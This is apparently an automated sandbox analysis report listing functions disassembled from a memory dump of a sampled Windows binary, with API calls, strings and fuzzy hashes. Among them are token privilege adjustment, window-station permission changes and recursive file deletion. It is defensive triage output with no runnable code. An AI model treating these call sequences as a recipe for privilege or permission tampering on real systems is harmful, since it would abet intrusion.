Function 001AB9F1 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 001ABEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 001ABF0F
Part of subcall function 001ABEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 001ABF3C
Part of subcall function 001ABEC3: GetLastError.KERNEL32 ref: 001ABF49

_memset.LIBCMT ref: 001ABA34
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 001ABA86
CloseHandle.KERNEL32(?), ref: 001ABA97
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 001ABAAE
GetProcessWindowStation.USER32 ref: 001ABAC7
SetProcessWindowStation.USER32(00000000), ref: 001ABAD1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 001ABAEB

Part of subcall function 001AB8B0: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000), ref: 001AB8C5
Part of subcall function 001AB8B0: CloseHandle.KERNEL32(?), ref: 001AB8D7

Strings

default, xrefs: 001ABAE6
, xrefs: 001ABA43
winsta0, xrefs: 001ABAA9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 54686435802d4fa9385fc9857e070b119cf62ec838b7270b40157779d44105a6
Instruction ID: 283c6ca5c045a6cc3a2c906f71f99727a89f6ad9929eaa92d1058501863c90c9
Opcode Fuzzy Hash: 54686435802d4fa9385fc9857e070b119cf62ec838b7270b40157779d44105a6
Instruction Fuzzy Hash: 77818875804288AFDF11EFA4DD85EFEBBB9EF0A314F044119F914A6166DB318E54EB20

Function 001BFDD2 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 001BFE03
FindClose.KERNEL32(00000000), ref: 001BFE57
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 001BFE7C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 001BFE93
FileTimeToSystemTime.KERNEL32(?,?), ref: 001BFEBA
__swprintf.LIBCMT ref: 001BFF06
__swprintf.LIBCMT ref: 001BFF3F

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

__swprintf.LIBCMT ref: 001BFF93

Part of subcall function 0019234B: __woutput_l.LIBCMT ref: 001923A4

__swprintf.LIBCMT ref: 001BFFE1
__swprintf.LIBCMT ref: 001C0030
__swprintf.LIBCMT ref: 001C007F
__swprintf.LIBCMT ref: 001C00CE

Strings

%02d, xrefs: 001BFF88, 001BFF91, 001BFFDF, 001C002E, 001C007D, 001C00CC
%4d%02d%02d%02d%02d%02d, xrefs: 001BFF00
%4d, xrefs: 001BFF39

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 108614129-2428617273
Opcode ID: 7ee906c16b2985aff18358c12415f38304d8629d5b0257cd679ee0654b1df990
Instruction ID: 7b101b1935e8b1ae909f98def3784c245f237815361ca3de4488c220cd42bc31
Opcode Fuzzy Hash: 7ee906c16b2985aff18358c12415f38304d8629d5b0257cd679ee0654b1df990
Instruction Fuzzy Hash: 0AA10E72418344ABC315EBA4CC96DAFB7EDBFA8700F44491DF585C2151EB34EA49CBA2

Function 001C2044 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 001C2065
_wcscmp.LIBCMT ref: 001C207A
_wcscmp.LIBCMT ref: 001C2091
GetFileAttributesW.KERNEL32(?), ref: 001C20A3
SetFileAttributesW.KERNEL32(?,?), ref: 001C20BD
FindNextFileW.KERNEL32(00000000,?), ref: 001C20D5
FindClose.KERNEL32(00000000), ref: 001C20E0
FindFirstFileW.KERNEL32(*.*,?), ref: 001C20FC
_wcscmp.LIBCMT ref: 001C2123
_wcscmp.LIBCMT ref: 001C213A
SetCurrentDirectoryW.KERNEL32(?), ref: 001C214C
SetCurrentDirectoryW.KERNEL32(00223A68), ref: 001C216A
FindNextFileW.KERNEL32(00000000,00000010), ref: 001C2174
FindClose.KERNEL32(00000000), ref: 001C2181
FindClose.KERNEL32(00000000), ref: 001C2191

Strings

*.*, xrefs: 001C20F7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 04f84cf20fb68270d3d776b9e956883e839b704cb7501952d2fb774fa1efcb00
Instruction ID: d139b5ab2ab7225748cd4660c8155e6bf839b189a39eb979d18dc51c5ffc186e
Opcode Fuzzy Hash: 04f84cf20fb68270d3d776b9e956883e839b704cb7501952d2fb774fa1efcb00
Instruction Fuzzy Hash: 11319131A012197BDF24EBA4EC48FEE77AD9F25360F14406AF911E3190DB74DA94CE60

Function 001DF122 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfilenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

DragQueryPoint.SHELL32(?,?), ref: 001DF14B

Part of subcall function 001DD5EE: ClientToScreen.USER32(?,?), ref: 001DD617
Part of subcall function 001DD5EE: GetWindowRect.USER32(?,?), ref: 001DD68D
Part of subcall function 001DD5EE: PtInRect.USER32(?,?,001DEB2C), ref: 001DD69D

SendMessageW.USER32(?,000000B0,?,?), ref: 001DF1B4
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 001DF1BF
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 001DF1E2
_wcscat.LIBCMT ref: 001DF212
SendMessageW.USER32(?,000000C2,00000001,?), ref: 001DF229
SendMessageW.USER32(?,000000B0,?,?), ref: 001DF242
SendMessageW.USER32(?,000000B1,?,?), ref: 001DF259
SendMessageW.USER32(?,000000B1,?,?), ref: 001DF27B
DragFinish.SHELL32(?), ref: 001DF282
NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 001DF36D

Strings

@GUI_DROPID, xrefs: 001DF2A2
@GUI_DRAGFILE, xrefs: 001DF31C
@GUI_DRAGID, xrefs: 001DF2E1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientDialogFinishLongNtdllPointProc_Screen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2166380349-3440237614
Opcode ID: 677a7ee6b50b97392eb99c771eb6a124aad92fd0200352cfd39a02f6ab6367d6
Instruction ID: 6180915c920749b3f15217b8311cb6d116b099c45c8a675266b6986650dd47ba
Opcode Fuzzy Hash: 677a7ee6b50b97392eb99c771eb6a124aad92fd0200352cfd39a02f6ab6367d6
Instruction Fuzzy Hash: 39614972108304AFC701EF64EC85EAFBBF9BF99710F004A1EF595961A1DB709A45CB62

Function 001C219F Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 001C21C0
_wcscmp.LIBCMT ref: 001C21D5
_wcscmp.LIBCMT ref: 001C21EC

Part of subcall function 001B7606: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 001B7621

FindNextFileW.KERNEL32(00000000,?), ref: 001C221B
FindClose.KERNEL32(00000000), ref: 001C2226
FindFirstFileW.KERNEL32(*.*,?), ref: 001C2242
_wcscmp.LIBCMT ref: 001C2269
_wcscmp.LIBCMT ref: 001C2280
SetCurrentDirectoryW.KERNEL32(?), ref: 001C2292
SetCurrentDirectoryW.KERNEL32(00223A68), ref: 001C22B0
FindNextFileW.KERNEL32(00000000,00000010), ref: 001C22BA
FindClose.KERNEL32(00000000), ref: 001C22C7
FindClose.KERNEL32(00000000), ref: 001C22D7

Strings

*.*, xrefs: 001C223D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 0f2ce712a825a3cd5b43f25c0db6bc362a6f8013a4e7fe91499112f8841ba73a
Instruction ID: d40eb84b5d2deae3e585d5dc7e266a907415a39ead6cda8f737c158144465496
Opcode Fuzzy Hash: 0f2ce712a825a3cd5b43f25c0db6bc362a6f8013a4e7fe91499112f8841ba73a
Instruction Fuzzy Hash: 4831E1319012197BDF24EBE4EC48FEE73ADAF25320F1001A9E811A3190DB74DE95CA64

Function 00176BBC Relevance: 21.9, APIs: 5, Strings: 7, Instructions: 891COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00176C22
_memmove.LIBCMT ref: 00176D9A

Strings

\, xrefs: 001F0A25
^, xrefs: 00176BFB
], xrefs: 00176C04
[, xrefs: 00176C82
\, xrefs: 00176BEE
\, xrefs: 00176C8B
Q\E, xrefs: 00177548

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove_memset
String ID: Q\E$[$\$\$\$]$^
API String ID: 3555123492-286096704
Opcode ID: 90e9c0d87b71bfbd2ee93f6bdb5177e6d731d69a29fe5c577353096c7b2d9f33
Instruction ID: 8e255f759df7967202d713a6f1f0b355b134791f038f7a984dbb994163d8d156
Opcode Fuzzy Hash: 90e9c0d87b71bfbd2ee93f6bdb5177e6d731d69a29fe5c577353096c7b2d9f33
Instruction Fuzzy Hash: 6F72DD71E00219DBDF29CF98C8906BDB7B1FF48314F2581A9D959AB381E734AE80DB50

Function 001DECBC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windownativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 001DED0C
GetFocus.USER32 ref: 001DED1C
GetDlgCtrlID.USER32(00000000), ref: 001DED27
_memset.LIBCMT ref: 001DEE52
GetMenuItemInfoW.USER32 ref: 001DEE7D
GetMenuItemCount.USER32(00000000), ref: 001DEE9D
GetMenuItemID.USER32(?,00000000), ref: 001DEEB0
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 001DEEE4
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 001DEF2C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 001DEF64
NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?,?,?), ref: 001DEF99

Strings

0, xrefs: 001DEE4A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlDialogFocusLongMessageNtdllPostProc_RadioWindow_memset
String ID: 0
API String ID: 3616455698-4108050209
Opcode ID: 52bbdd37ca1516428a53e28fe9485419d6640d99b8fc2db23f2356400f502cd5
Instruction ID: 27af89df66113887ea34353803d02f4dd84c6ab87dc6af46e2e2ec458a884029
Opcode Fuzzy Hash: 52bbdd37ca1516428a53e28fe9485419d6640d99b8fc2db23f2356400f502cd5
Instruction Fuzzy Hash: 09817C71208301AFDB10EF14D884A6BBBE5FF98355F04092EF9999B391D730D945CBA2

Function 001AB398 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001AB8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 001AB903
Part of subcall function 001AB8E7: GetLastError.KERNEL32(?,001AB3CB,?,?,?), ref: 001AB90D
Part of subcall function 001AB8E7: GetProcessHeap.KERNEL32(00000008,?,?,001AB3CB,?,?,?), ref: 001AB91C
Part of subcall function 001AB8E7: RtlAllocateHeap.NTDLL(00000000,?,001AB3CB), ref: 001AB923
Part of subcall function 001AB8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 001AB93A

Part of subcall function 001AB982: GetProcessHeap.KERNEL32(00000008,001AB3E1,00000000,00000000,?,001AB3E1,?), ref: 001AB98E
Part of subcall function 001AB982: RtlAllocateHeap.NTDLL(00000000,?,001AB3E1), ref: 001AB995
Part of subcall function 001AB982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,001AB3E1,?), ref: 001AB9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 001AB3FC
_memset.LIBCMT ref: 001AB411
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 001AB430
GetLengthSid.ADVAPI32(?), ref: 001AB441
GetAce.ADVAPI32(?,00000000,?), ref: 001AB47E
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 001AB49A
GetLengthSid.ADVAPI32(?), ref: 001AB4B7
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 001AB4C6
RtlAllocateHeap.NTDLL(00000000), ref: 001AB4CD
GetLengthSid.ADVAPI32(?,00000008,?), ref: 001AB4EE
CopySid.ADVAPI32(00000000), ref: 001AB4F5
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 001AB526
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 001AB54C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 001AB560

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: fa97ddae4aafbc5cea9738ea52133b5eb5e51cb01c214686ddcb624ea4f2bf6f
Instruction ID: b8f1801acd11d1d4807090b6e295b363ff38c01f5f34c5ab7cab2ac3e3231a9d
Opcode Fuzzy Hash: fa97ddae4aafbc5cea9738ea52133b5eb5e51cb01c214686ddcb624ea4f2bf6f
Instruction Fuzzy Hash: 7C513A75904249AFDF00DFA4EC95AFEBB79FF06300F048129F915A7292DB359A45CB60

Function 001B6E4A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001731B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 001731DA

Part of subcall function 001B7C0C: GetFileAttributesW.KERNEL32(?,001B6A7B), ref: 001B7C0D

_wcscat.LIBCMT ref: 001B6E7E
__wsplitpath.LIBCMT ref: 001B6E99
FindFirstFileW.KERNEL32(?,?), ref: 001B6EAE
_wcscpy.LIBCMT ref: 001B6EDD
_wcscat.LIBCMT ref: 001B6EEF
_wcscat.LIBCMT ref: 001B6F01
DeleteFileW.KERNEL32(?), ref: 001B6F0E
FindNextFileW.KERNEL32(00000000,00000010), ref: 001B6F22
FindClose.KERNEL32(00000000), ref: 001B6F3D

Strings

\*.*, xrefs: 001B6E78

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: 61e5c54b963b771a8dc7d6f638131b0a91c4ee023bbad23be388f62d54eb7139
Instruction ID: bd7f63290aa9c7bea32b5d56a32021ebf9de0e7679913fd073e11e9cfbc70ec1
Opcode Fuzzy Hash: 61e5c54b963b771a8dc7d6f638131b0a91c4ee023bbad23be388f62d54eb7139
Instruction Fuzzy Hash: BB21CEB2408345BEC611EBA0D8849EBBBDCAFA9214F044A5EF5D4C3042EB34D64D87A2

Function 00175D32 Relevance: 17.1, Strings: 13, Instructions: 810COMMON

Download Yara Rule

Strings

LF), xrefs: 00176234
LIMIT_RECURSION=, xrefs: 00176206
ANYCRLF), xrefs: 00176279
NO_START_OPT), xrefs: 001761D8
CR), xrefs: 0017621D
LIMIT_MATCH=, xrefs: 001761EF
UCP), xrefs: 001761C1
CRLF), xrefs: 0017624B
UTF), xrefs: 001761AA
BSR_ANYCRLF), xrefs: 00176290
UTF16), xrefs: 00176193
BSR_UNICODE), xrefs: 001F3885
ANY), xrefs: 00176262

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-2893523900
Opcode ID: 50c0d3672ffe6b33bd755b6eb99faaaa65baa2451d571ac1b2ecac19d44ca150
Instruction ID: eae8d1947284003b5a8936075015ece4cc819abcd2e4615246961cc7217f458d
Opcode Fuzzy Hash: 50c0d3672ffe6b33bd755b6eb99faaaa65baa2451d571ac1b2ecac19d44ca150
Instruction Fuzzy Hash: 4862A3B1E00619DBDF28CF99C8807BEB7B5BF48310F15816AE959EB281D7749E41CB90

Function 001C7294 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 001C72BB
EmptyClipboard.USER32 ref: 001C72C1
GlobalAlloc.KERNEL32(00000002,?), ref: 001C72D6
CloseClipboard.USER32 ref: 001C7375

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: e7b5d10e12a85acc605157d85d17241e20a2941706d5399a94b437de1a607802
Instruction ID: d6ce6b7feab5ee76d584b1995c4bb831e87e54d777d9f8c76ddc0cb6eab61ad7
Opcode Fuzzy Hash: e7b5d10e12a85acc605157d85d17241e20a2941706d5399a94b437de1a607802
Instruction Fuzzy Hash: 19218B31244211AFDB05AF65EC59F7DBBA9EF64720F008019F90ADB2A1DB70E980DF91

Function 001C24A9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 001C24F6
Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 001C2526
_wcscmp.LIBCMT ref: 001C253A
_wcscmp.LIBCMT ref: 001C2555
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 001C25F3
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 001C2609

Strings

*.*, xrefs: 001C24D8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 1e5475f73576960a71ef99e20ab67278b6f34422b212129844b72435853f3893
Instruction ID: 8e7d5c2feb1c8dc2456f0426d3d82f4a759811087d819c52b8f19a0eb078af33
Opcode Fuzzy Hash: 1e5475f73576960a71ef99e20ab67278b6f34422b212129844b72435853f3893
Instruction Fuzzy Hash: 3B415C7190421AAFCF15DFA4CC59FEEBBB4BF29310F10445AE815A2191E734DA94CFA0

Function 00178530 Relevance: 11.0, APIs: 7, Instructions: 531COMMON

